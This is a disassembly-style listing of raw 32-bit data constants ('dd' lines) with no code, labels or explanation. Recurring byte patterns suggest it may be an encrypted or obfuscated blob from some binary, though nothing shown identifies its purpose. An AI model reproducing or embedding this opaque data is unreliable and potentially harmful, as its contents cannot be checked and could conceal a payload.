		dd 75A0DB37h, 83A93256h, 5D1B5BDEh, 592E62DAh, 1B7DD11Ch
		dd 6896A503h, 0A553B236h, 0FB2AF0D7h, 15D03025h, 0BAB123BFh
		dd 0CE5EA156h, 365C2FF6h, 0BABD4F74h, 65832BE7h, 56BEC1D3h
		dd 0EAB13241h, 75A0B659h, 0B6583256h, 0C8B13256h, 8BFB5B3Eh
		dd 0E5C16FC4h, 437650DBh, 0D5B13256h, 735BB30Ch, 7AB6D89Dh
		dd 0BAB133D1h, 0B4D1CA56h, 0AEB1325Eh, 0FC73D4h, 3B4735F0h
		dd 0B5D047E5h, 6BD7E8DDh, 141FE6B9h, 15A988DDh,	555835BCh
		dd 55B13256h, 400152Ah,	42341833h, 0D5B1325Ah, 0ED79F43Ch
		dd 31DC9AEEh, 0FE2E553Dh, 5DB032EFh, 0A1343D56h, 0BEB13256h
		dd 0ABB1325Ch, 64678982h, 7FB755FAh, 0B58263E7h, 0BAB0BE59h
		dd 0AE493256h, 220252FDh, 57B3B659h, 0F1E13256h, 0DD3D3D37h
		dd 0E5B13256h, 75B130DBh, 31D05256h, 0B71E2AD4h, 2C38CE51h
		dd 505B9D78h, 0ABB0B659h, 0B4493256h, 0E5725336h, 75B139D6h
		dd 5BE5256h, 0A567B3ACh, 0CFA7DBF2h, 43323D36h,	0CBB13256h
		dd 0D5BDDBAAh, 3EB93256h, 0BE1C64EAh, 0DEC887D5h, 0B5D0D05Dh
		dd 0AEB13256h, 3A5BB30Ch, 42B6D89Ah, 0D5B13242h, 72BCF1EAh
		dd 0D8F8C314h, 0FD95BF62h, 0B0ABAD2Bh, 8E2A78C9h, 0B963B336h
		dd 0CDE0B1B3h, 0B48F52EDh, 0C69CB790h, 7AE735B2h, 0BAB133D9h
		dd 64D9CA56h, 0CE652D3Bh, 0D3BEC736h, 0ABB13256h, 0D73C3D37h
		dd 0BBB13256h, 0C04E530Fh, 0BD551317h, 5DB8DA36h, 7FA23256h
		dd 0BF395042h, 0A480E2E3h, 64EAE5E9h, 6F3C5361h, 725682F1h
		dd 423A5436h, 5DB13CBFh, 7CB26B56h, 824847B4h, 0B132C875h
		dd 0B4B5B21Fh, 0B848E2A9h, 675862AEh, 0ABB13256h, 0AEE028ADh
		dd 6A3FD9D1h, 536766DAh, 0D57DA795h, 55B15AA8h,	80483256h
		dd 743B3D56h, 43B13256h, 0F1BB80A9h, 514835BCh,	37485286h
		dd 0CAEF64AAh, 0DA586A37h, 69B13256h, 6D87E79Ch, 0EE3B6365h
		dd 587804B2h, 0A1EB5695h, 57B121D9h, 0ABBFDB56h, 0F0163256h
		dd 9C2A02BBh, 0D545BA68h, 0E4BCD3E2h, 5D31323Eh, 0AF3F3D56h
		dd 0A2B13256h, 0A4D1323Ch, 6ABEC8E1h, 6BD153A4h, 9C25AD8Dh
		dd 70063D67h, 4503CD37h, 0A1B6D8F9h, 57B121D3h,	0ABBFDB56h
		dd 0FF533256h, 2BA9762Ah, 30F53582h, 4DB30D2Eh,	0D8BEE2A9h
		dd 0AEB13257h, 5A5853AAh, 6CB13256h, 0A1FDEF89h, 2E9BA893h
		dd 0D7076C3Eh, 30BEC795h, 5DB1325Ch, 7C305436h,	0E0BECC4Ch
		dd 53E45391h, 3C5DB9AEh, 0EAB1325Ch, 883DC9A5h,	2B3A60CEh
		dd 3DD14FEDh, 477E8D59h, 57B13246h, 0D5C2FA64h,	0B48B5D0Dh
		dd 1F353C9Fh, 0A934D3EAh, 0BAB1DA37h, 0DCEB3256h, 447F35BCh
		dd 57A3DB51h, 984F3256h, 8A99FE29h, 73CADF0h, 0B0E0469Eh
		dd 0E137D583h, 6E75236h, 0CFD082E6h, 57B122BFh,	0DC763256h
		dd 0A6012163h, 81D0FE30h, 11430BD4h, 0B2C4B95Ch, 5DA6B059h
		dd 0BC583256h, 8EB13256h, 546510Fh, 2A63DC72h, 92BA9874h
		dd 0EF0E5043h, 0AB0852EAh, 3DE74F54h, 0AEB1BF59h, 0A6303256h
		dd 0E31AE87Dh, 34595337h, 1FB13258h, 75B8DB03h,	2B1C3256h
		dd 0DF1B1113h, 51BB7114h, 0BD1D88C4h, 1CBE5251h, 8A0665A8h
		dd 0E5EC5308h, 75B133D3h, 0CF8AC756h, 96343D5Ah, 0A14ECDA9h
		dd 57B126DEh, 0A6585256h, 4CB13256h, 9C563763h,	0D658C3B4h
		dd 196DD88Ah, 5323DA37h, 0CF4D3256h, 57B139BFh,	0B0590C56h
		dd 4FA3CB0Eh, 64CDA6C7h, 75B9B859h, 3BBE3256h, 5DB13254h
		dd 0A1785336h, 57B133DAh
		dd 0A373CB56h, 0CC3F3D56h, 3B13256h, 75B13242h,	296A21D0h
		dd 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h, 64E6DE3Eh,	393AC703h
		dd 0EAA9B759h, 0F1BE3256h, 0BAB13244h, 5DB13FBFh, 9A3FA956h
		dd 3235CC02h, 6E554B63h, 564D035Ch, 8CD1CE92h, 25527DE9h
		dd 0BAB13ABFh, 99F16856h, 2C121598h, 1D06C17h, 0AF373D36h
		dd 0B3B13256h, 8CE473EDh, 3111DDD7h, 3DBE6537h,	5DB13251h
		dd 0AEB0BA59h, 4483256h, 0ABB6B359h, 5CBE3256h,	0EAB13257h
		dd 75B1DAAEh, 3BEB3256h, 0B77EB1BCh, 0A4595251h, 3FB13256h
		dd 99017E0Fh, 6FD78BC9h, 0EABEDBC6h, 41A73256h,	9834756Ah
		dd 504225FEh, 8EB4A69Eh, 525868DBh, 0F0B13256h,	0CFAC551Fh
		dd 0FB3B3D37h, 7AB13256h, 0BAB139D9h, 5DB7DB56h, 73373256h
		dd 0F0D13C7Bh, 42B947DDh, 0D5B13244h, 0AFE7D622h, 0AD3F85F4h
		dd 0D60D58F3h, 161988Fh, 0D33A7F81h, 0BEE6C746h, 0ABB13251h
		dd 487AB545h, 0E5DC0BF1h, 75B133D1h, 53E7C756h,	5DB13242h
		dd 5A53F990h, 1199AF84h, 97020D39h, 0C54EA282h,	0EE88AE97h
		dd 7477DAAFh, 0DCD13256h, 529849EDh, 0AEB131D8h, 8A6FB256h
		dd 0A4713937h, 0D5B03DD2h, 0EAA2DB56h, 85A73256h, 0CBC160F1h
		dd 0B3F1F0Bh, 0FD345CE9h, 61039AFh, 0A1343DBEh,	0B5B13256h
		dd 0FA5EF0D7h, 2AE14700h, 0DA49B937h, 0B5D7F0D6h, 0AEB13245h
		dd 0AC8BBBEBh, 0CD244F83h, 8154F018h, 851651DFh, 23E49C00h
		dd 0EFD06B0Ch, 5DB137BFh, 0F2B33056h, 0C54E3DFFh, 0AC5B9EECh
		dd 0D5B13DBFh, 0C53B2856h, 9620118Ch, 28C7650Bh, 2D456AE6h
		dd 0AEB9DB0Bh, 3C233256h, 0DAEEDB73h, 0A08AF044h, 63353D5Ah
		dd 9CB13256h, 0BAB13250h, 72AEFD35h, 25D75B0Fh,	57BFDB48h
		dd 6E0A3256h, 61DDBB31h, 0AF60400Bh, 0D71BF135h, 0BAB13BBFh
		dd 9547FD56h, 65AA7B81h, 0B0311A37h, 0DE0F52A6h, 0B58C9490h
		dd 0EAB1B059h, 0AA303256h, 0FEB7777Dh, 433B5337h, 4D31CBA3h
		dd 46323DA6h, 42B13256h, 0D5B1325Ah, 6EDE5B3h, 0AE0B011Dh
		dd 0EAC88B0Eh, 5D92B4BEh, 1158CA56h, 0BE4ECDA8h, 0ABB13242h
		dd 0B14C3217h, 879DEA19h, 0FBF6ADB6h, 8A3337Eh,	30F3CE31h
		dd 0A14D4FDFh, 57B13EDFh, 0AD313D56h, 0DAB13256h, 0EAB132D7h
		dd 8072DA56h, 3D1CDA9h,	115F41A6h, 0FF51B330h, 0BEEA537Dh
		dd 0ABB1325Dh, 491B0F75h, 306DC18Eh, 2A220184h,	0BAB126BFh
		dd 63DF6456h, 5356F066h, 1FDFEA67h, 4C6A05BAh, 500EA12Ah
		dd 3446C3Ch, 75B13250h,	0EECE39A9h, 183A264Dh, 0A63E3DAAh
		dd 58B13256h, 0ABB130D1h, 1CD05256h, 0EAA5B959h, 7A583256h
		dd 34B13256h, 3EA3EA43h, 0AF280E30h, 0F1FD1547h, 0A7733DE8h
		dd 0D3585256h, 0A5B13256h, 0F143ABA9h, 2D7648Fh, 3CEF9267h
		dd 0AEA0DB03h, 8DF93256h, 4DA35FA0h, 76EBEE25h,	0B0B09291h
		dd 0FE529100h, 0B2383DBAh, 3DB13256h, 2E0EE0D6h, 0D4D0B7A6h
		dd 0B858CA92h, 0A6B13256h, 71BC7EF2h, 0B87BB92Bh, 0D20A9455h
		dd 0E3333C49h, 47E6BFE5h, 57B13246h, 596679E6h,	3F00DE54h
		dd 323D3A09h, 51E47155h, 53E0C700h, 5DB13242h, 8BB2C8F5h
		dd 0FB4CCA27h, 7C4C7765h, 0F6CB82F2h, 5A9FEAA7h, 75B9DB05h
		dd 45C3256h, 444D952h, 0EB765841h, 57B132AEh, 79075256h
		dd 302B8B30h, 9933F537h, 74B6D8F8h, 46B13256h, 52B947DDh
		dd 0AEB125D6h, 57A3DB56h, 9CF43256h, 38D6AB6Ch,	46A1063Ch
		dd 0E3A82FE2h, 0B0A1D059h, 0A4AFB930h, 2BB88DDh, 0D4BE35BCh
		dd 0ABB1324Fh, 0D5A2B559h, 0E4583256h, 7DB13256h, 0EB9F2930h
		dd 64841769h, 0BE458A95h, 5FEEB9BAh, 0ABB134BFh, 8D700656h
		dd 0E109E339h, 0F0353D8Dh, 53B13256h, 5DB13242h, 0FABA14B7h
		dd 0DFC6F651h, 3C6871B1h, 0BFA0286Dh, 325E00B6h, 75A5B859h
		dd 0B5583256h, 30B13256h, 4C97A4D8h, 0C6CD9F17h, 6BD71D50h
		dd 0B8AA774h, 0EAA6B759h, 73583256h, 1BB13256h,	0D95309A9h
		dd 0A2ECB91Fh, 5BEEBBAFh, 583A5436h, 0C176B137h, 0EA383D36h
		dd 9CB13256h, 0BAB1325Ah, 0CCDEAAC6h, 0FB224041h, 714836E2h
		dd 54C6DB37h, 6CD1CDA9h, 9727F586h, 75B137BEh, 0B934AC56h
		dd 3CEA8D08h, 0CEAFB930h, 57B13ABFh, 7803D456h,	0EFA71A5Bh
		dd 343A5424h, 7B595237h, 1BB13256h, 0EFE6CBD1h,	8FD69F2Ch
		dd 0AD7A0CDDh, 643A54CDh, 0D6303D0Dh, 0E5B13256h, 0F5D0EBE1h
		dd 3EBEDAADh, 5DB13126h, 0AEB9BC59h, 0DDBE3256h, 0ABB13254h
		dd 2E315336h, 0B3353DBFh, 15B13255h, 514AB237h,	5EFFB659h
		dd 0FED13256h, 31EF5336h, 0D044F5D7h, 374AB237h, 0E996B659h
		dd 7E583256h, 4B13256h,	0F57A66B9h, 3F2930F0h, 0AC31775Ch
		dd 58353DB5h, 0B5B13254h, 10BDAD7h, 0BD310AA7h,	0DC4D539Ch
		dd 0BED6C9D7h, 0AC46B659h, 0BE443256h, 0ABB1325Ah, 0AC9FA10Bh
		dd 280B9A39h, 895A5F4Fh, 0DA41D5D6h, 5DB3B159h,	0CFD13256h
		dd 0AC305437h, 2FBEB259h, 0D5B130B6h, 8CEB6036h, 14BF73E8h
		dd 4241D1D6h, 52C1C9D6h, 0AEB3F9D2h, 57BCDB56h,	95C23256h
		dd 1EE7C035h, 0EED9E884h, 1391DA3Bh, 0AB582CDDh, 1BB13256h
		dd 0B71A2DBDh, 86DF6172h, 0C08B2B7Fh, 0B146DB1Bh, 0E549D1D6h
		dd 75B13EDFh, 3DBE5256h, 5DB13256h, 65D58C30h, 97305237h
		dd 0B8F7B82Ch, 0B410C0D6h, 0E509C9D6h, 75B0B6D2h, 0A23C3D56h
		dd 0B4B13256h, 0AEB13245h, 34AA1301h, 0E4CA50EFh, 0C574785Fh
		dd 0BB4FD941h, 0F54B9AF9h, 3EBE3768h, 5DB1330Bh, 0AEBEB859h
		dd 5D583256h, 0EB13256h, 0CB66A553h, 4E348B9Ah,	588FB2F8h
		dd 0BB8EB659h, 0D4BE3256h, 0AEB13257h, 3F8FB2AAh, 0AA9EB659h
		dd 50BE3256h, 0EAB13251h, 75B0B959h, 0B5493256h, 5DB135D6h
		dd 0CFD15256h, 3643B930h, 5C2B0A9h, 0DAD135BCh,	3E7E1E1h
		dd 75B1325Fh, 3A8A2795h, 45115A50h, 0C8D0683Bh,	46582CDDh
		dd 26B13256h, 0A1196BEAh, 569DAB27h, 0B54F4A18h, 7A48741Ch
		dd 0A449D5D6h, 553054AAh, 0D3BEDAD7h, 0ABB13287h, 3CD0C736h
		dd 0EAB13246h, 6F66F128h, 94850A63h, 0E23B3882h, 87B5D664h
		dd 58AFB930h, 0ABB13ADEh, 0D73D3D56h, 8AB13256h, 8556B237h
		dd 78305436h, 52D0E1D9h, 0AEB138D5h, 0D9BE5256h, 0ABB13256h
		dd 0B3D0C5DDh, 2A30C9D7h, 7532B659h, 0BF583256h, 0A4B13256h
		dd 0CEAF519Ch, 37E4CB36h, 4B7D8D30h, 474E53AFh,	0ED5B9EECh
		dd 75B8DB36h, 0E7EA3256h, 1261A189h, 0A1A470C2h, 57B134D9h
		dd 0AB3E3D56h, 0B4B13256h, 0FF05520Bh, 0C970E0D7h, 33D057A3h
		dd 0D4BECE13h, 0AEB1325Eh, 57B3BD59h, 0CAD13256h, 0DF363D37h
		dd 3B13256h, 75B13253h,	6F1FE4B8h, 0A1CCB164h, 4F343D57h
		dd 0BEB13257h, 0ABB13247h, 0C9EB75ADh, 0FB2FB66Fh, 9B598970h
		dd 0E9E04818h, 500BB9D3h, 5BB6D665h, 0D53ACE06h, 0AC5B9C25h
		dd 0D5B120BFh, 0C7F59D56h, 0B71E3919h, 40C2B6EAh, 0D9642225h
		dd 9764BC7Ch, 0F44026Ah, 0AA2BB059h, 0C7583256h, 0CDB13256h
		dd 0B34DF93Eh, 0A0497AACh, 8913E2E6h, 48D8FE38h, 860BB98Eh
		dd 0A4B6D64Fh, 0D5B13AD6h, 0D7055256h, 0E9AD8830h, 39BE6237h
		dd 5DB1324Fh, 0AEB126BFh, 4BBADC56h, 246F076Eh,	0F40A979Dh
		dd 9A0261C1h, 103339Eh,	0C933B905h, 52B6D8F8h, 0AEB137D8h
		dd 0E8BE5256h, 97885385h, 0D5B7DB66h, 43363256h, 0B0691C26h
		dd 933E3D0Eh, 52B13257h, 0AEB125DAh, 463C3D56h,	42B13256h
		dd 0D5B1325Ah, 17F02020h, 89294ADh, 3AE96E95h, 5DB11DBFh
		dd 0EB76CE56h, 57B130AEh
		dd 560E5256h, 0DAA00981h, 0EAB133D1h, 9CD0C756h, 0BAB13242h
		dd 0A5F4F5AFh, 0AEB13257h, 57B135BFh, 9B7F8556h, 74FB7FE4h
		dd 46BB88DDh, 0FE4935BCh, 15005249h, 5DB0B559h,	0CF483256h
		dd 0D3BEE95Dh, 0ABB132EAh, 0D5B138BFh, 5F9E9956h, 9492D85Bh
		dd 81D609F4h, 3C343D88h, 0A1B13256h, 57B133DFh,	0F63ACE56h
		dd 0D5BDDB5Ah, 68C73256h, 5A180E40h, 35A00BD5h,	0D0BEE332h
		dd 0AEB13240h, 57B123BFh, 31B64856h, 761B38A2h,	0A67EC881h
		dd 4BE78D98h, 0C73229BEh, 0D9BE32AEh, 0AEB13253h, 0AFEC31AAh
		dd 0AFEEBBA3h, 0D5A3B859h, 0E7583256h, 40B13256h, 9ACC9CD8h
		dd 9EEE99C3h, 40638590h, 58A5F5D5h, 0ABB135D0h,	0B4D15256h
		dd 8B73B930h, 8A4E6CBFh, 0BABFDBA9h, 11C73256h,	0C1C9A711h
		dd 0DDF97EA7h, 2B5FD0A3h, 0D258F265h, 0CCB13256h, 790792F0h
		dd 5349A8CAh, 5DB13609h, 0AF393DA3h, 0AEB13256h, 0A4AFB930h
		dd 0D5B13FD3h, 6BD75256h, 7A7ADF8Fh, 0BAB132D8h, 203A5356h
		dd 0B83B3D5Ah, 0BEB13256h, 0ABB13247h, 0A476681Eh, 0DC85723Ch
		dd 75414B4Fh, 126A98C4h, 0B64AB240h, 0AEFFB659h, 0BED13256h
		dd 0ABB13246h, 3DDB9B47h, 67ED74D1h, 0D1A01E8Ah, 267AFA6Ch
		dd 5DB13FBFh, 734D6A56h, 13D45FCDh, 0FFB2E975h,	55D05529h
		dd 60D1C2B5h, 953054B4h, 3AD0A202h, 0D9BE42ADh,	0AEB13227h
		dd 57B137BFh, 0A39F1256h, 0C658C2E3h, 13B13257h, 7A583590h
		dd 0BAB133DFh, 1A76C756h, 0AEB13257h, 46595256h, 7DB13256h
		dd 743AF0FAh, 1A5E2887h, 0D26513B0h, 78EBE750h,	1E52B330h
		dd 4631683Fh, 903A5383h, 0ABBFDB36h, 0C32E3256h, 3FA68821h
		dd 0B82F3A27h, 1F1272D9h, 0DED0F1DDh, 24D13796h, 54323DBEh
		dd 0A4B13256h, 3CD0E8E1h, 0EAB1313Dh, 727654AFh, 31D13A59h
		dd 8B3A548Fh, 0B03BCA37h, 57BDBC59h, 12D13256h,	0F812AD70h
		dd 7571B330h, 9631539Dh, 0B2303D59h, 3DB13256h,	0A14FB930h
		dd 0D7D0C0E9h, 2CBEB29Dh, 0D5B13242h, 0EAB13DBFh, 960B9956h
		dd 4C0FFD2Ah, 6E624A3Fh, 0BDCA6474h, 0BEB06DDEh, 0ABB13259h
		dd 0D97E88A9h, 0F7407CF1h, 0A5FEFEE2h, 7D61B69Dh, 5DB13011h
		dd 2DBE3256h, 57B13257h, 0CB76B9AAh, 57BEEBDDh,	0EAB13247h
		dd 75B139BEh, 0C470D056h, 140651CFh, 5C6AF66Dh,	9732530Fh
		dd 0AC353D50h, 0DAB13256h, 0EAB133DAh, 0FED1CE56h, 0A151B3A4h
		dd 3CD9113Eh, 0AEB388BFh, 0D6D7CE56h, 0A421A268h, 0D5B150D2h
		dd 6BD75256h, 7A92BBA5h, 0BAB126D5h, 5DBFDA56h,	0DBEF3256h
		dd 42F4E9DBh, 0E08AA47Bh, 75AAA226h, 6A49530Ch,	0F0BEA268h
		dd 0BAB13218h, 5DB126BFh, 0FF400856h, 0C205764Eh, 0E594CC01h
		dd 9BCE9791h, 0F865046Fh, 0B3054B1h, 0B521A2A9h, 5DB120D2h
		dd 0EF095256h, 31F99D4Ch, 4FC7D2D7h, 0D5A9DB37h, 61493256h
		dd 9C44CA91h, 0BAB13015h, 5DB13BBFh, 6D971B56h,	96C3DFA9h
		dd 293C17B8h, 0D25B9D14h, 0EAB0BD59h, 9C4D3256h, 0BAB13251h
		dd 3F4438F7h, 0FE39FC89h, 0A84964AAh, 411DDFC4h, 0D5A3DB51h
		dd 5A593256h, 0F961C828h, 5A162C56h, 6D527C1Fh,	0D26CFDA7h
		dd 0D3BEF25Dh, 0ABB13269h, 0D5B135BFh, 96D4A756h, 669D443Fh
		dd 31D1FADDh, 0A70E3D8Ch, 0EC03BF37h, 37B6D8F9h, 7B40B330h
		dd 35EB35Ch, 8BA1B727h,	75B18BBFh, 0B63A3D56h, 52B13256h
		dd 0AEB134D2h, 57393D56h, 0FDB13256h, 0D5B6B859h, 8AD13256h
		dd 0BB3A5437h, 537FB937h, 5DB13247h, 0E6B7FCh, 0C634012h
		dd 0F7E79F15h, 8C323DEBh, 8CD15233h, 23B0EDD7h,	54CCF1D7h
		dd 0E3D025FEh, 0E336C477h, 31D16737h, 0B5DEFBD7h, 6F23CD37h
		dd 0E5B6D8FAh, 75B13AD8h, 0B8363D56h, 3DB13256h, 85446F37h
		dd 0D9BE5298h, 0ABB13250h, 0D5B1BC59h, 64BE3256h, 75B13257h
		dd 634653AEh, 5DB8B559h, 25D13256h, 9C305498h, 42D0CB40h
		dd 0D5B13251h, 3A6005E4h, 2BA1040Bh, 0BAB6DB36h, 0A1A73256h
		dd 0A05F9A35h, 57B6DBB5h, 122E3256h, 30218830h,	9732536Ch
		dd 0F0BE33AEh, 0BAB1320Dh, 52F882AFh, 0AEB124DCh, 57A0DB56h
		dd 0E2433256h, 0FB64807Eh, 494ECFDh, 9D6B6097h,	10A8DB81h
		dd 5DB0B959h, 0C8493256h, 0BE343DEEh, 0ABB13258h, 0D36B4A3Ch
		dd 644C6034h, 0DF0D5B0h, 11D7DF2Dh, 5DB9B959h, 25D13256h
		dd 4C0B54A7h, 1DBE5383h, 7E443310h, 0EA33DBAAh,	0F6443256h
		dd 0B5B3CA2Bh, 5DB146D3h, 16D7CA56h, 5058FB5Dh,	0ACB13256h
		dd 0E56AE0A4h, 41D748AFh, 75B134BFh, 9E525056h,	3BCF1F9Bh
		dd 57353DEEh, 0DCD19930h, 0ABA1DAACh, 0E7DB3256h, 0C36591B7h
		dd 87B997D0h, 8C6B3ACBh, 3CD14761h, 18BE530Eh, 0FC483310h
		dd 0ABB13FBFh, 0B9B6DE56h, 0F6ED952Ch, 438B0CDh, 0AA58AEC2h
		dd 0DAB13256h, 3EE00B15h, 353847A4h, 0C1ED673Dh, 3C58EB5Bh
		dd 0EAB13252h, 8C15C1A3h, 3BD1F5DDh, 0C62D1991h, 0CF76B84Ch
		dd 57BFDB36h, 166B3256h, 7AC8DC7Bh, 53812956h, 503E6AB7h
		dd 935E2D7h, 6D0150Fh, 4777B836h, 57B1325Dh, 3E06FDBDh
		dd 92400ABEh, 8BE24D76h, 74333D0Fh, 42B13256h, 0B4D1CB08h
		dd 0AEB1325Bh, 0CE199659h, 49CDFA33h, 5F0D3AB9h, 0E0585287h
		dd 73B13256h, 0CDBB696Dh, 9C6B77A8h, 0F1D053D0h, 5D58FBAAh
		dd 0D4B13256h, 0C9B6EEF8h, 0BE2CD402h, 75B9F0B7h, 314867AEh
		dd 5DB7DBBAh, 23F83256h, 0FA497331h, 0ABA3DB36h, 3FEB3256h
		dd 0F196049Ch, 958331AFh, 3E87DB3Ch, 68A3F00Bh,	0AEB132BEh
		dd 0BD306856h, 0AC5BEE98h, 0D5B123BFh, 0D963E856h, 74DD96C5h
		dd 9F5B8538h, 0EE30BB24h, 25448F88h, 0DEBE3A13h, 0ABB1325Dh
		dd 0A063D36h, 0EAB1BC59h, 0FCD03256h, 501D7DD4h, 5DBBDB51h
		dd 7F0A3256h, 714BAE3Ah, 94EFB1C8h, 223B5237h, 0EAB4B559h
		dd 0F4D73256h, 0DB2C6690h, 4959529Fh, 0E0B13256h, 73B3480Fh
		dd 0B36CE194h, 38A31856h, 98546A71h, 7A359A1Fh,	0BAB132D8h
		dd 0D6D76D56h, 0AA73539Dh, 57B8DB56h, 2C473256h, 7D7CD3A2h
		dd 1371997Eh, 993ACE03h, 4275B1A3h, 5DBBB859h, 2ED13256h
		dd 0D6D74887h, 0CA83E995h, 0C1595236h, 7BB13256h, 45D0B1C1h
		dd 4E989099h, 0A35D7345h, 0A45DBFBAh, 0DCA52704h, 42D16DACh
		dd 0D5B13247h, 0EFDDDA0Fh, 9F4057DEh, 4121A249h, 8A821Dh
		dd 0AE373D29h, 36B13256h, 0ABB1DA37h, 54EB3256h, 6C85BCh
		dd 75A2DB51h, 0F2E53256h, 0D809E854h, 5ECC4CEBh, 0DF174C92h
		dd 807B831Ah, 0C55852C2h, 97B13256h, 0F6C5D01Dh, 8B148BFAh
		dd 0AFF61146h, 0A16F3744h, 57B126DDh, 0ABBFDA56h, 0C07E3256h
		dd 6B6BB7B9h, 1838C448h, 8246AFCDh, 5249530Eh, 0AEB13AD8h
		dd 553C3D56h, 0CBB13256h, 2DF4F537h, 0EAB13256h, 75A2BC59h
		dd 34BE3256h, 5DB1325Bh, 0AEB13ABFh, 5DD73B56h,	0C0C36DC2h
		dd 5ED15213h, 0EF5953ACh, 0E4B13256h, 0C915CA84h, 18765308h
		dd 0AEB132AAh, 9782CB56h, 0ABA0BC59h, 0D9583256h, 3DB13256h
		dd 0FD1DF6F8h, 0AC2D5AD4h, 3B357B30h, 47D12CDDh, 57B1325Eh
		dd 9B8D1D2Ah, 15AB5A46h, 2ED424EFh, 0F7765307h,	0BD5B9C25h
		dd 5DB13257h, 0AEA8B359h, 43583256h, 0C3B13256h, 0B581DEA5h
		dd 0C5C19FFh, 0F5BE9692h, 12AC8FDCh, 3B83D74Eh,	3E21C9D7h
		dd 57BDB759h, 0AC583256h, 68B13256h, 0E3B68D53h, 8E31A6A4h
		dd 47353DBEh, 0A4B13255h, 0AEA2DB16h, 0E6E63256h, 585B0FB5h
		dd 0C8682B80h, 8918DA3Ah, 81A829D1h, 0BD383DD5h, 52B13256h
		dd 0AEB133D5h, 0AC31CB56h
		dd 66353DBFh, 2CB13255h, 0EABEDB16h, 29D3256h, 1C1C2156h
		dd 632EB3EBh, 16ED11A1h, 0BC4AB2F1h, 0A81FB659h, 95493256h
		dd 0EA9DB159h, 9DD13256h, 0BAB13245h, 0DA1ACFA7h, 0F7572AC5h
		dd 20990674h, 0CBA3DD5Ah, 8F0E072Dh, 0EAB139BEh, 92631456h
		dd 11B9A65Bh, 0ED5E6836h, 49315309h, 5258CBA6h,	0ECB13256h
		dd 0A9B2B18Fh, 0E54AB330h, 14353DD6h, 0DAB13255h, 3C7B8D59h
		dd 0B11CB055h, 58D135B2h, 7930E0E1h, 0AE2DE795h, 62BE7237h
		dd 75B13258h, 0A251B336h, 52CAFD22h, 0AEB132DEh, 0AC315356h
		dd 0B1353DB4h, 0B5B13255h, 0F388B9EDh, 1456B83Dh, 0B552C9D6h
		dd 5DB3E6D2h, 2FD7CB56h, 585255ADh, 0ABB3CED2h,	0D0353D56h
		dd 8AB13256h, 1449B930h, 5341D1D6h, 5DB13244h, 9F2AF31Fh
		dd 0E59540D8h, 0E69B8F4Fh, 40A86864h, 61D1300Ch, 8E3153A4h
		dd 67353D26h, 0B4B13254h, 0AEB13253h, 63C857D6h, 0ABB4DBAFh
		dd 0F9583256h, 8C9F337Ah, 7AD12CDDh, 0BAB131D6h, 5C71B256h
		dd 0AEB2B259h, 0A7313256h, 483153ECh, 2E31CBAEh, 0A7353DEEh
		dd 8DB13257h, 0BAA9BF59h, 0D0BE3256h, 0AEB13244h, 57B13FBFh
		dd 0C827F756h, 71EDFD5Ch, 30B4E4F1h, 4B31FE57h,	9F353D53h
		dd 0A1B13257h, 0A19C0CD6h, 57B029D2h, 0AA343D56h, 2CB13256h
		dd 0E5D90CD6h, 75B039D2h, 3BD75256h, 0D624A98Fh, 0CEF15381h
		dd 0C60B5436h, 6A3A5491h, 574E5337h, 0ED5B9C25h, 75B123BFh
		dd 0F0266056h, 4B214755h, 542BC764h, 0FBB281E2h, 20D7C66Fh
		dd 0D5B8DB48h, 75F03256h, 32588FA8h, 3AB388BEh,	3CD1CAB1h
		dd 2F4AB330h, 0EE353DBEh, 0A4B13256h, 0D5B13DD1h, 0EABBDB56h
		dd 642C3256h, 567F09FDh, 0FDCA7F6Bh, 47AFB930h,	57B13244h
		dd 0CE06AD46h, 0C5EE7010h, 2AE17537h, 1023AF3Ah, 5D31B725h
		dd 0DCD752A6h, 0CF39889Dh, 0D64AB330h, 0DE353D96h, 3CB13256h
		dd 0EAB13246h, 46568A4Ah, 12929140h, 697345F8h,	2EEDF95Eh
		dd 0BEE4C736h, 0ABB13245h, 0F66D5813h, 2118F2E5h, 0A7B630F9h
		dd 1BF0BC88h, 0A234F979h, 441D88C4h, 803A5251h,	0F0CAF1D7h
		dd 88D042ACh, 16F4BBAFh, 15D05336h, 7840B330h, 203253A1h
		dd 2BBE33AAh, 57B137E4h, 0ABBEDB36h, 74763256h,	63455DE3h
		dd 8F4BFA95h, 0C9068F42h, 0E5D76309h, 0CFE91DD4h, 64BC88DDh
		dd 21BE35B2h, 0D5B13257h, 62BE62AEh, 75B1325Eh,	296FB336h
		dd 3CF00632h, 0C2B0DDh,	0D6D135BCh, 5E8DCFA4h, 0D5BBDA08h
		dd 1A5C3256h, 0A56E9682h, 25B5D0EDh, 3CEFF8DDh,	52810E6Fh
		dd 18333D0Eh, 53B13253h, 0CC6088DDh, 0BA4935B2h, 75B123BFh
		dd 938FCB56h, 0C422C48Eh, 0C48124F8h, 9CEF05CFh, 293AA58Ch
		dd 0D25B9C25h, 33095436h, 3C52B3EEh, 0DBE03BE4h, 52810E6Fh
		dd 0AEB133D5h, 0F49CE56h, 0AEBDBD59h, 0D3583256h, 10B13256h
		dd 8C8EC74Fh, 3ACA89h, 5A5B9E4Ch, 0B433B1AEh, 43B6D8FAh
		dd 44F38B36h, 62BE53D0h, 0DD38538Ch, 75B6BB59h,	35BE3256h
		dd 5DB13257h, 0BEF6BBAFh, 57B13EBFh, 0D7A92B56h, 0E8D84784h
		dd 0E2D8D47Eh, 705862B0h, 36B13256h, 0D8C0FA96h, 0C2B0DDh
		dd 0DC4835BCh, 0F349024Ah, 0D5BDB459h, 0ED583256h, 3BB13256h
		dd 5EC37C80h, 2387212h,	3D58CA5Eh, 58B13252h, 0ABB13AD0h
		dd 8BE25256h, 0DD808D30h, 8DF4F537h, 0BAB13254h, 5DB13CBFh
		dd 0CA58BA56h, 0D07974EDh, 8181A30h, 3C95224Ah,	0EAB1327Eh
		dd 75BEB759h, 0B0583256h, 42B13256h, 77481313h,	0FD9558EBh
		dd 53F4F52Bh, 0D5B13257h, 0EAB134BFh, 0B4AE9356h, 46645547h
		dd 0F1AB88DDh, 2D4435BCh, 0BD1D28D4h, 23BE2651h, 0D5B13249h
		dd 0EAA8B659h, 61583256h, 0CDB13256h, 97B8FD2Bh, 0AA0FDFC5h
		dd 40E8C7BDh, 1CE7843Ch, 5C669AB4h, 8C495261h, 0F694C3D7h
		dd 0AAF6BB37h, 5E49B1AEh, 0AE8DB759h, 37443256h, 0ABA1BF59h
		dd 0DE583256h, 0E2B13256h, 0C22E4CBh, 8CB784CCh, 990B409Dh
		dd 0CF9A087Eh, 0F9C2B091h, 0ABB335BCh, 3C493256h, 0EAB13274h
